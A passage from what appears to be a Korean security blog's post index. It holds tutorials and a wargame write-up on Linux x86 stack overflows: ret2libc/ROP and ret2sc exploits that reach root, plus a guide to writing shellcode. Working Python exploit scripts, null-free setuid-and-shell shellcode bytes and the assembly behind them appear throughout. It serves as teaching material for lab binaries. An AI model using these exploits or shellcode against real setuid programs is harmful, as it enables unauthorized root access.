넘겨보겠습니다.\n실행하니 uid 가 0x61616161 의 dec 값으로 나왔네요.\nASLR 이 비활성화된 환경에서도 gdb 로는 정상이지만 직접 실행하면 안 되는 경우가 있는데, gdb 가 자체적으로 추가한 환경변수나 실행 경로, 파일명 등으로 인해 스택 주소가 밀려서 그런 경우가 많습니다.\n약간 수정을 거쳐 다시 시도해보겠습니다.\n#!/usr/bin/env python import os, struct, hexdump p32 = lambda x : struct.pack(\u0026#34;\u0026lt;I\u0026#34;, x) __libc_gets = p32(0xf7e76890) __libc_setuid = p32(0xf7ec8060) __libc_system = p32(0xf7e52940) popret = p32(0x080484cb) binsh = p32(0xf7f7102b) dest = 0xffffd634 payload = \u0026#39;\\x90\u0026#39; * 36 payload += __libc_gets + popret + p32(dest + 0x00) payload += __libc_gets + popret + p32(dest + 0x01) payload += __libc_gets + popret + p32(dest + 0x02) payload += __libc_gets + popret + p32(dest + 0x03) payload += __libc_setuid + popret + (\u0026#39;a\u0026#39; * 4) payload += __libc_system + (\u0026#39;\\x90\u0026#39; * 4) + binsh payload += \u0026#39;\\x90\u0026#39; * 50 # print(hexdump.hexdump(payload)) print(payload) 환경 변수와 덮어야 하는 주소를 다시 맞춰보니 권한 상승에 성공하였습니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2019-07-30-bypassing-dep-via-ret2libc-and-rop-for-root-privilege-escalation/","summary":"\u003cp\u003e저번 ret2sc 와 달리 ret2libc 는 매핑된 외부 라이브러리 함수를 이용해 쉘을 실행하기 때문에 DEP 가 걸려있어도 유효한 기법입니다.\u003c/p\u003e\n\u003cp\u003e만약 ASLR이 적용된 환경이라면 주소가 매번 변경되므로 주소 leak 과 오프셋 계산 과정이 추가적으로 들어가는데, 이 주제는 다음 글에서 다루도록 하겠습니다.\u003c/p\u003e\n\u003cp\u003e이번에는 ret2libc 기법으로 쉘을 획득하고 ROP 기법으로 권한상승까지 해보겠습니다.\u003c/p\u003e\n\u003cp\u003e저번과 똑같은 예제 코드지만 이번엔 스택 실행 권한이 없습니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e$ gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -no-pie \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e$ cat /proc/sys/kernel/randomize_va_space # 0\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eKernel: 4.4.0-142-generic x86_64 | gcc: 5.4.0\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eChecksec: Partial RELRO | No canary found | NX enabled | No PIE\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e32\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003estrcpy\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003esystem()\u003c/code\u003e 이 호출이 가능한지 확인하기 위해 ret 영역을 \u003ccode\u003esystem()\u003c/code\u003e 의 주소로 덮어보겠습니다.\u003c/p\u003e","title":"Bypassing DEP via ret2libc and ROP for Root Privilege Escalation"},{"content":"저번 포스팅에선 쉘코드를 어떻게 만드는지에 대해 알아봤습니다.\n이번엔 DEP 가 해제되어 있을 때 메모리에 쉘코드를 삽입하고 실행 흐름을 조작하는 기법인 ret2sc 에 대해 알아보겠습니다.\n200n년도엔 공격자가 스택 영역에 쉘코드를 집어넣고 실행했던 일이 흔했지만 2004년부터 본격적으로 도입된 DEP 로 인해 많이 줄었습니다.\n만약 DEP 가 걸려있다면, ret2libc 또는 ROP 기법을 보통 사용합니다. 이건 이후 포스팅에서 다루도록 하겠습니다.\n아래 예제는 좀 극단적이지만 개발자가 실수로 보안 기능을 전부 끄고 사용자의 입력값을 검증 없이 그대로 복사한다고 가정해보겠습니다.\n/* $ gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie $ cat /proc/sys/kernel/randomize_va_space # 0 Kernel: 4.4.0-142-generic x86_64 | gcc: 5.4.0 Checksec: Partial RELRO | No canary found | NX disabled | No PIE */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char **argv) { char buf[32]; strcpy(buf, *(argv + 1)); printf(\u0026#34;%s\u0026#34;, buf); } 일단 바이너리에 대한 분석을 먼저 해보겠습니다.\n메모리 매핑을 보면 스택 영역인 0x0804a000 - 0x0804b000 에 실행 권한이 부여되어있는것이 보입니다.\ngdb 로 살펴보면, main 에선 0x20(32바이트) 크기의 buf 공간을 확보하고 스택에 argv + 1 주소와 buf 주소를 차례대로 푸시하여 strcpy() 의 인수로 넘기고 있습니다.\n이해하기 쉽도록 strcpy() 호출 전 스택 레이아웃을 그려보겠습니다.\noffset 16 +---------------+ |argv[1] \u0026lt;---+ 12 +---------------+ | |argv[0] | | 8 +---------------+ | |argc | | 4 +---------------+ | |ret | | 0 +---------------+ | |ebp | | 4 +---------------+ | |buf[32] \u0026lt;-----+ 36 +---------------+ | | |argv[1] addr +---+ | # src 40 +---------------+ | |buf[32] addr +-----+ # dest 44 +---------------+ 페이로드를 구성해보면 더미로 36 바이트를 채워서 ebp 까지 덮고 ret 에 쉘코드가 위치한 스택 주소를 넣어야 할것같습니다.\n이때 디버거 위에서 자식 프로세스로 실행되는 경우, 디버거가 추가한 환경변수등의 이유로 주소값에 변동이 생길 수 있는데요,\n이럴때는 nop slide 를 넉넉히 추가해준뒤 중간쯤의 주소를 ret 에 덮어주면 다음 opcode 를 만날때까지 쭉 건너뛰기 때문에 주소가 약간 어긋나도 수월하게 익스를 성공시킬 수 있습니다.\n쉘코드 작성법은 이전 포스팅에서 이미 다뤘으니 참고하시면 될 것 같습니다.\n성공적으로 쉘은 획득했습니다. 하지만 현재 바이너리는 root 로 setuid 가 걸려 있는데도 권한 상승이 제대로 이뤄지지 않았습니다.\n한가지 해결책을 생각해 보았는데, 쉘코드에 setuid(0) 을 추가하는 방법이 있습니다.\n0 은 root 를 의미합니다. 이제 setuid(0) + 쉘을 실행시키는 코드를 빌드하고 gdb 로 분석하여 쉘코드를 다시 제작해보겠습니다.\n/* * $ gcc -m32 -mpreferred-stack-boundary=2 ./test.c -o ./test */ #include \u0026lt;stdio.h\u0026gt; int main() { setuid(0); char *v0[2]; *(v0 + 0) = \u0026#34;/bin//sh\u0026#34;; *(v0 + 1) = (char *)0x00; execve(*v0, v0, *(v0 + 1)); } 빌드 후에 owner 를 root 로 바꾸고 setuid 를 설정해준뒤 실행하면 됩니다.\nid, top 결과를 보면 root 권한으로 잘 실행되고 있는 것이 보입니다.\n이제 opcode 를 추출해보겠습니다.\nx86 시스템 콜 테이블상에서 setuid32 는 0xd5 를 의미합니다.\neax 에 시스템 콜 넘버 0xd5 를 넣고 ebx 를 0x00로 셋팅한 뒤 시스템 콜을 호출해주면 권한 상승이 이뤄집니다.\n그런데 opcode 를 추출하려 objdump 로 열어보니 null 값이 붙어있었습니다.\n쉘코드에 null 이 붙어있는 경우 strcpy() 가 그 부분에서 복사를 멈추기 때문에 쉘코드에 null 이 포함되지 않도록 해줘야 합니다.\nnull 이 생긴 이유는 eax 는 32비트 레지스터이기 때문에 전달되는 값도 4바이트로 변환되어서 그렇습니다.\nal 은 eax 의 하위 1바이트라서 al 에 넣으면 null 이 생기지 않으니 저 부분만 변경해서 기존 쉘코드랑 합쳐보도록 하겠습니다.\n기존에 있던 쉘코드 앞부분에 추가해서 사용하면 됩니다.\n\\xb0\\xd5\\x31\\xdb\\xcd\\x80\\x31\\xc0\\x31\\xd2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80 최종 exploit 은 이렇습니다.\n#!/usr/bin/env python import os, struct, hexdump p32 = lambda x : struct.pack(\u0026#39;\u0026lt;L\u0026#39;, x) TARGET = os.environ[\u0026#34;PWD\u0026#34;] + \u0026#34;/aaaa\u0026#34; shellcode = \u0026#34;\\xb0\\xd5\\x31\\xdb\\xcd\\x80\\x31\\xc0\\x31\\xd2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\u0026#34; payload = \u0026#34;\\x90\u0026#34; * 36 # dummy payload += p32(0xffffd5f8) payload += \u0026#34;\\x90\u0026#34; * 100 # NOP slide payload += shellcode print(hexdump.hexdump(payload)) os.execv(TARGET, [TARGET, payload]) 이제 루트 권한까지 얻었습니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2019-07-09-ret2sc-for-root-privilege-escalation/","summary":"\u003cp\u003e저번 포스팅에선 쉘코드를 어떻게 만드는지에 대해 알아봤습니다.\u003c/p\u003e\n\u003cp\u003e이번엔 DEP 가 해제되어 있을 때 메모리에 쉘코드를 삽입하고 실행 흐름을 조작하는 기법인 ret2sc 에 대해 알아보겠습니다.\u003c/p\u003e\n\u003cp\u003e200n년도엔 공격자가 스택 영역에 쉘코드를 집어넣고 실행했던 일이 흔했지만 2004년부터 본격적으로 도입된 DEP 로 인해 많이 줄었습니다.\u003c/p\u003e\n\u003cp\u003e만약 DEP 가 걸려있다면, ret2libc 또는 ROP 기법을 보통 사용합니다. 이건 이후 포스팅에서 다루도록 하겠습니다.\u003c/p\u003e\n\u003cp\u003e아래 예제는 좀 극단적이지만 개발자가 실수로 보안 기능을 전부 끄고 사용자의 입력값을 검증 없이 그대로 복사한다고 가정해보겠습니다.\u003c/p\u003e","title":"ret2sc for Root Privilege Escalation"},{"content":"이번 글에서는 pwner 의 기본기인 쉘코드 작성법에 대해 간단히 알아보겠습니다.\n대회에 출제된 문제중에 이미 알려진 쉘코드를 사용해도 익스가 안될 때가 있어서 이럴땐 커스텀 쉘코드를 만드는 것이 좋습니다.\n솔직히 요즘엔 다들 pwntools 의 shellcraft 를 써서 간단히 만들지만, 이번 포스팅에서는 How? 에 중점을 둬서 선조님들의 방식으로 한번 만들어보겠습니다.\n쉘코드를 만들려면 먼저 c로 쉘을 실행하는 코드를 작성하고 타깃 아키텍처에 맞게 빌드해야 합니다. 그런 다음 바이너리를 분석해 어셈 코드로 재작성하고, 최종적으로 opcode를 추출하면 쉘코드가 완성됩니다.\n최적화 한다면 더 짧은 쉘코드도 만들 수 있지만 본 포스팅에선 다루지 않겠습니다.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; /* $ gcc -m32 -g --static ./sc.c -o ./sc $ ./sc $ id uid=1000(daniel) gid=1000(daniel) groups=1000(daniel) */ int main(int argc, char **argv) { char *v0[2]; *(v0) = \u0026#34;/bin//sh\u0026#34;; // 4바이트 정렬 *(v0 + 1) = (char *)0x00; execve(*v0, v0, *(v0 + 1)); // execve(\u0026#34;/bin//sh\u0026#34;, [\u0026#34;/bin//sh\u0026#34;], NULL) return 0; } 쉘을 여는 간단한 코드입니다. system() 를 사용하지 않은 이유는 어차피 system() 내부에서 execve() 를 사용하기 때문에 그렇습니다. 굳이 분석 난이도를 늘릴 필요가 없습니다.\n빌드를 끝냈다면 gdb 에 붙여서 실행해줍시다.\nexecve() 에 BP 를 건뒤 코드와 스택을 보면 쉘코드를 어떻게 구성해야할지 대략 감이 옵니다.\nx86 시스템콜 테이블상 0xb 는 execve 를 의미합니다\n(gdb) x/10i $pc =\u0026gt; 0x806c501 \u0026lt;execve+1\u0026gt;: mov 0x10(%esp),%edx 0x806c505 \u0026lt;execve+5\u0026gt;: mov 0xc(%esp),%ecx 0x806c509 \u0026lt;execve+9\u0026gt;: mov 0x8(%esp),%ebx 0x806c50d \u0026lt;execve+13\u0026gt;: mov $0xb,%eax 0x806c512 \u0026lt;execve+18\u0026gt;: call *%gs:0x10 0x806c519 \u0026lt;execve+25\u0026gt;: pop %ebx 0x806c51a \u0026lt;execve+26\u0026gt;: cmp $0xfffff001,%eax 0x806c51f \u0026lt;execve+31\u0026gt;: jae 0x8071250 \u0026lt;__syscall_error\u0026gt; 0x806c525 \u0026lt;execve+37\u0026gt;: ret 0x806c526: xchg %ax,%ax (gdb) x/x $sp+0x10 0xffffcc18: 0x00000000 (gdb) x/x $sp+0xc 0xffffcc14: 0xffffcc34 (gdb) x/x *(0xffffcc14) 0xffffcc34: 0x080ae008 (gdb) x/x **(0xffffcc14) 0x80ae008: 0x6e69622f (gdb) x/x $sp+0x8 0xffffcc10: 0x080ae008 쉘을 열려면 이렇게 레지스터를 맞춰주고 시스템 콜을 호출하면 됩니다.\neax: 0xb\nebx: \u0026quot;/bin//sh\u0026quot;\necx: [\u0026quot;/bin//sh\u0026quot;]\nedx: null\n이에 맞춰서 어셈 코드를 작성하고 빌드해야 하는데, mov $0xb,%eax 에서 eax 는 32비트 레지스터이기 때문에 0xb 가 opcode 상으로 0x0000000b 가 됩니다.\n쉘코드에 null 이 포함되면 strcpy() 같은 문자열 기반 함수에서 문제가 생기니 null 은 없애주는 것이 좋습니다.\nal 레지스터는 eax 의 하위 1바이트라서 null 이 생기지 않으니 이 부분은 al 로 변경하도록 하겠습니다.\n$ cat ./sa.S start: xor %eax, %eax xor %edx, %edx push %eax push $0x68732f2f # hs// push $0x6e69622f # nib/ mov %esp, %ebx # \u0026#34;/bin//sh\u0026#34; push %eax push %ebx mov %esp, %ecx # [\u0026#34;/bin//sh\u0026#34;] mov $0xb, %al int $0x80 $ cat ./build.sh #!/bin/bash target=\u0026#34;sa\u0026#34; $(which rm) -f $PWD/$target $(which as) --32 $PWD/$target.S -o $PWD/$target.o $(which ld) -m elf_i386 $PWD/$target.o -o $PWD/$target $(which rm) -f $PWD/$target.o $ ./build.sh $ objdump -D ./sa | grep start -A 12 08049000 \u0026lt;start\u0026gt;: 8049000: 31 c0 xor %eax,%eax 8049002: 31 d2 xor %edx,%edx 8049004: 50 push %eax 8049005: 68 2f 2f 73 68 push $0x68732f2f 804900a: 68 2f 62 69 6e push $0x6e69622f 804900f: 89 e3 mov %esp,%ebx 8049011: 50 push %eax 8049012: 53 push %ebx 8049013: 89 e1 mov %esp,%ecx 8049015: b0 0b mov $0xb,%al 8049017: cd 80 int $0x80 objdump 로 바이너리를 까보면 opcode 가 나오는데 순서대로 나열하시면 됩니다.\n쉘코드를 검증하기 위해선 dep 를 해제하고 스택에 쉘코드를 넣은뒤 실행시키면 됩니다.\n$ cat ./sh.c #include \u0026lt;stdio.h\u0026gt; /* * $ gcc -m32 -z execstack ./sh.c -o ./sh */ char *shellcode = \u0026#34;\\x31\\xc0\\x31\\xd2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\u0026#34;; int main() { (*(void (*)())shellcode)(); // ??? return 0; } $ gcc -m32 -z execstack ./sh.c -o ./sh $ ./sh $ id uid=1000(daniel) gid=1000(daniel) groups=1000(daniel) 쉘코드 검증까지 성공했습니다. 그런데 여기서 특이한 구문이 나오는데요, (*(void (*)())shellcode)(); 이게 뭘까요?\n지금 쉘코드는 그냥 문자열 배열입니다. 이걸 실행하려면 함수의 시작 주소처럼 취급하도록 강제로 캐스팅해야 합니다.\nvoid (*)()는 void형 함수 포인터 타입입니다. *를 괄호로 감싸는 이유는, 괄호가 없으면 void 포인터를 반환하는 함수의 선언으로 해석되기 때문입니다.\n(void (*)())shellcode는 shellcode 배열의 시작 주소를 함수 포인터 타입으로 캐스팅하는 것입니다. 애초에 C 에서 함수명은 해당 함수의 시작주소를 의미하니 개념끼리 매칭이 됩니다.\n앞에 붙은 *와 마지막 ()는 그 함수 포인터를 실제로 호출하는 구문입니다. 즉, 이 부분은 \u0026ldquo;shellcode가 가리키는 주소를 함수로 보고 그곳에 존재하는 바이트들을 CPU 명령어로 해석하겠다\u0026rdquo; 라는 의미로 이해하시면 됩니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2019-06-02-writing-shellcode-on-linux-x86/","summary":"\u003cp\u003e이번 글에서는 pwner 의 기본기인 쉘코드 작성법에 대해 간단히 알아보겠습니다.\u003c/p\u003e\n\u003cp\u003e대회에 출제된 문제중에 이미 알려진 쉘코드를 사용해도 익스가 안될 때가 있어서 이럴땐 커스텀 쉘코드를 만드는 것이 좋습니다.\u003c/p\u003e\n\u003cp\u003e솔직히 요즘엔 다들 pwntools 의 shellcraft 를 써서 간단히 만들지만, 이번 포스팅에서는 How? 에 중점을 둬서 선조님들의 방식으로 한번 만들어보겠습니다.\u003c/p\u003e\n\u003cp\u003e쉘코드를 만들려면 먼저 c로 쉘을 실행하는 코드를 작성하고 타깃 아키텍처에 맞게 빌드해야 합니다. 그런 다음 바이너리를 분석해 어셈 코드로 재작성하고, 최종적으로 opcode를 추출하면 쉘코드가 완성됩니다.\u003c/p\u003e","title":"Writing Shellcode on Linux x86"},{"content":"이번 문제는 간단한 ret2sc 문제입니다.\n/* The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;dumpcode.h\u0026gt; main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc \u0026lt; 2){ printf(\u0026#34;argv error\\n\u0026#34;); exit(0); } // check address addr = (char *)\u0026amp;strcpy; if(memcmp(argv[1]+44, \u0026amp;addr, 4) != 0){ printf(\u0026#34;You must fall in love with strcpy()\\n\u0026#34;); exit(0); } // overflow! strcpy(buffer, argv[1]); printf(\u0026#34;%s\\n\u0026#34;, buffer); // dangerous waterfall memset(buffer+40+8, \u0026#39;A\u0026#39;, 4); } 풀이에 앞서 먼저 조건을 살펴보겠습니다.\nmain() 의 ret 는 strcpy@plt 이어야 함\nstrcpy@plt 의 ret 는 마지막에 memset() 이 \u0026ldquo;AAAA\u0026rdquo; 로 덮음\n스택 영역에 실행 권한 있음\n스택에 실행 권한이 있으니 memset() 이 AAAA로 덮는 곳 즉, strcpy() 의 ret 영역을 nop slide 와 쉘코드가 붙어있는 주소로 덮으면 풀이가 가능해 보입니다.\n여기서 nop slide 는 왜 끼워넣을까요? nop 는 cpu 명령어상 아무것도 하지않고 다음 명령어로 넘어가는 명령어입니다.\n그런데 ret2sc 문제를 풀다보면 가끔 쉘코드의 시작 주소가 엇나가 엉뚱한 부분부터 실행될 때가 많습니다.\n그래서 nop slide 를 넉넉하게 끼워주고 그 뒤에 쉘코드를 넣어주면 nop slide 내에서 약간의 주소 오차가 존재하더라도 쭉 내려가서 쉘코드를 정상적으로 실행하게 됩니다.\n페이로드 구성은 이렇습니다.\ndummy * 44 ret(strcpy@plt) \u0026#34;AAAA\u0026#34; \u0026lt;- strcpy ret address of \u0026#34;AAAA\u0026#34; \u0026lt;- dest address of nop slide + shellcode \u0026lt;- src 일단 익스를 먼저 짜고 스택 주소를 뽑아 더 자세히 설명해보겠습니다.\n스택에 채워둔 더미값을 기준으로 페이로드에 대해 다시 설명하면\n0x41414141(0xbffffc30) 는 strcpy() 의 ret 영역입니다. 여기를 덮어야 합니다.\n0x61616161(0xbffffc34) 는 strcpy() 의 dest 니까 ret 영역 주소(0xbffffc30)를 넣어야 합니다.\n0x62626262(0xbffffc38) 에는 복사할 값이 담긴 주소인 0xbffffc3c 주소를 넣어야 합니다. strcpy() 는 src 주소를 역참조해 내용을 복사하기 때문에 그렇습니다.\n0x63636363(0xbffffc3c) 에는 nop slide 의 임의 주소를 넣으면 됩니다. 주로 중간쯤에 존재하는 주소를 넣고, strcpy() 가 ret 를 수행하면 nop slide 를 타다가 쉘코드를 실행하게 됩니다.\n이후에 nop slide 와 쉘코드를 넣어주면 됩니다.\n이해를 위해 그림으로 표현해봤습니다.\n익스를 수정해서 원본 바이너리에 인수로 넘겨주면 끝입니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2019-05-26-lob-succubus-lv-18-20-writeup/","summary":"\u003cp\u003e이번 문제는 간단한 ret2sc 문제입니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    The Lord of the BOF : The Fellowship of the BOF\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    - nightmare\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    - PLT\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;dumpcode.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e40\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eaddr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;argv error\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 